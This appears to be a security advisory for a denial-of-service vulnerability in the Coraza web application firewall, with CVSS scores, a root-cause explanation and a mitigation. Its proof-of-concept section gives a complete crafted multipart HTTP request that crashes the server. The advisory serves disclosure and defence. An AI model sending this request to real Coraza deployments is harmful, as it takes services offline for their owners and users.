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HistoryJun 26, 2023 - 3:48 p.m.

Coraza has potential denial of service vulnerability

2023-06-2615:48:33
Google
osv.dev
11
coraza
denial of service
vulnerability
log.fatalf
misuse
application crashing
crafted requests
multipart form-data
mime.parsemediatype
immediate crash
mitigation
software
commit

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.0005 Low

EPSS

Percentile

17.1%

Summary

Due to the misuse of log.Fatalf, the application using coraza crashed after receiving crafted requests from attackers.

Details

https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29
The bodyprocessors of multipart uses log.Fatalf to handle errors from the mime.ParseMediaType, but log.Fatalf calls os.Exit directly after logging the error.
https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291
This means that the application will immediately crash after receiving a malicious request that triggers an error in mime.ParseMediaType.

PoC

The server can be demonstrated by https://github.com/corazawaf/coraza/tree/main/examples/http-server

After sending this request

POST / HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: curl/8.1.2
Accept: */*
Content-Length: 199
Content-Type: multipart/form-data; boundary=------------------------5fa6351b877326a1; a=1; a=2
Connection: close

--------------------------5fa6351b877326a1
Content-Disposition: form-data; name="file"; filename="123"
Content-Type: application/octet-stream

123

--------------------------5fa6351b877326a1--

The server will crash immediately. The a=1; a=2 in Content-Type makes mime: duplicate parameter name error.

Impact

I believe the vulnerability was introduced by the following commit: https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec.

Mitigation

The error from mime.ParseMediaType should return directly.

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.0005 Low

EPSS

Percentile

17.1%

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